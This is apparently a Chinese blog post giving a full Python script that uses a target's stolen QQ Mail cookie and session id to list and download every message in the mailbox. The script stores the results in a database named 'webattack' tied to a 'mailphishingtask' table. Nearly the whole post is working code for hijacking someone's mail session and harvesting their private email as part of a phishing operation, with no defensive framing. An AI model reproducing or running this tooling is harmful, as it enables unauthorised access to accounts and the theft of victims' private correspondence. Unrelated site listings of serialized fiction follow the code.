利用cookie爬取QQ邮箱的python脚本

目标邮箱的cookie和sid保存同一目录下的txt文件中。

以下是全部代码

先留存,日后有机会再分段讲解

# -*- coding: utf-8 -*-
import requests
import time
from bs4 import BeautifulSoup
import re
import sys
import json
import pymysql


def ct_content(url,payload):
    s = requests.session()
    
    header = {\
            
            'Referer': 'https://mail.qq.com/cgi-bin/frame_html?t=newwin_frame&sid=M6EI2PkDteRzaXkj&url=/cgi-bin/readmail?folderid=1%26folderkey=1%26t=readmail%26mailid=ZC4411-kQP8LA2p7r_ALDxmjE83W82%26mode=pre%26maxage=3600%26base=12.870000000000001%26ver=36726',
            'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36',
        
            'Upgrade-Insecure-Requests':'1'}
    
    f = open('cookie.txt', 'r')
    t = f.read()
    header['cookie'] = t


    
    response = s.get(url, headers=header,  params=payload, timeout=80)
    
    
    
    html = response.text
    
    return html

def get_mailid(sid):
    ids = []
    for page in range(1):
        url = "https://mail.qq.com/cgi-bin/mail_list?"
        payload ='sid={0:s}=personal&folderkey=-3&page={0:s}&stype=myfolders&ver=333674.0&cachemod=maillist&cacheage=7200&r='.format(sid,page)
        html = ct_content(url,payload)
        soup = BeautifulSoup(html, 'lxml')
        where = soup.find_all("input")

        for i in where:
            t = str(i)

            xp = re.findall("value=\"(.*?)\"/>", t)
            if (len(str(xp)[2:-2]) == 30):
                id=str(xp)[2:-2]
                #print id
                ids.append(id)
    print len(ids)
    return ids

def get_sid():
    f = open('sid.txt', 'r')
    t = f.read()
    return t

def get_mail(mailid,sid):
    url = "https://mail.qq.com/cgi-bin/readmail?"
    payload = 'folderid=1&folderkey=1&t=readmail&mailid={0:s}&mode=pre&maxage=3600&base=12.57&ver=16137&sid={1:s}'.format(mailid, sid)
    #print payload
    html = ct_content(url, payload)
    html =  html.replace("gb18030","utf-8")
    return html
    #soup = BeautifulSoup(html, 'lxml')

def get_sub(html):
    soup = BeautifulSoup(html, 'lxml')
    where = soup.find_all("title")
    return where[0].string

def fs (key, cook):
    cook = cook.replace('ssid', '')
    kl = cook.find(key)
    fl = cook.find(";", kl)
    return cook[kl+len(key)+1:fl]

def get_cookie():
    f = open('cookie.txt', 'r')
    t = f.read()
    value = {}
    value['sid'] = fs('sid', t)
    '''
    value['pgv_pvi'] =  fs('pgv_pvi',t)
    value['pt2gguin'] = fs('pt2gguin',t)
    value['foxacc'] = fs('foxacc', t)
    value['p_skey'] = fs('p_skey', t)
    value['pt4_token'] = fs('pt4_token', t)
    value['qm_ptsk'] = fs('qm_ptsk', t)
    value['sid'] = fs('sid', t)
    value['RK'] = fs('RK', t)
    value['skey'] = fs('skey', t)
    value['uin'] = fs('uin', t)
    
    
    value['ptcz'] = fs('ptcz',t)
    value['edition'] = fs('edition',t)
    value['ptui_loginuin'] = fs('ptui_loginuin',t)
    value['pgv_pvid'] = fs('pgv_pvid',t)
    value['ptisp'] = fs('ptisp',t)
    value['pgv_si'] = fs('pgv_si',t)
    value['wimrefreshrun'] = fs('wimrefreshrun',t)
    value['qm_antisky'] = fs('qm_antisky',t)
    value['qm_domain'] = fs('qm_domain',t)
    value['qm_flag'] = fs('qm_flag',t)
    value['qm_loginfrom'] = fs('qm_loginfrom',t)
    '''
    return value

def main():
    #os.system('calc')
    reload(sys)
    sys.setdefaultencoding('utf8')
    key = sys.argv[1]
    
    conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='root', db='webattack',charset='utf8')
    cursor = conn.cursor()
    global cookie
    #cookie = get_cookie()
    #print cookie



    subs = []
    sid =get_sid()
    #print sid
    mailids = get_mailid(sid)
    print len(mailids)
    mails = []

    for id in mailids:
       mail = get_mail(id,sid)
      
       mails.append(mail)
    
       sub = get_sub(mail)
       subs.append(sub)
    sql_select = "SELECT id,uid,target FROM mailphishingtask where tkey='%s' ;" % key
    cursor.execute(sql_select)

    data = cursor.fetchone()
    tid = int(data[0])
    uid = int(data[1])
    mailbox = data[2]
    addtime = int(time.time())

    for i in range(len(mailids)):
        ls = [[1], ]
        l = [mailids[i], mails[i],subs[i],tid,uid,mailbox,addtime]
        ls.append(l)
        del ls[0]
        sql = 'INSERT INTO mails (mailid,mailcontent,sub,pid,uid,mailbox,addtime) VALUES (%s,%s,%s,%s,%s,%s,%s)'
        cursor = conn.cursor()
        cursor.executemany(sql, ls)
        cursor.close()
        conn.commit()



    conn.close()


if __name__ == '__main__':
    main()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,240评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,328评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,182评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,121评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,135评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,093评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,013评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,854评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,295评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,513评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,678评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,398评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,989评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,636评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,801评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,657评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,558评论 2 352

推荐阅读更多精彩内容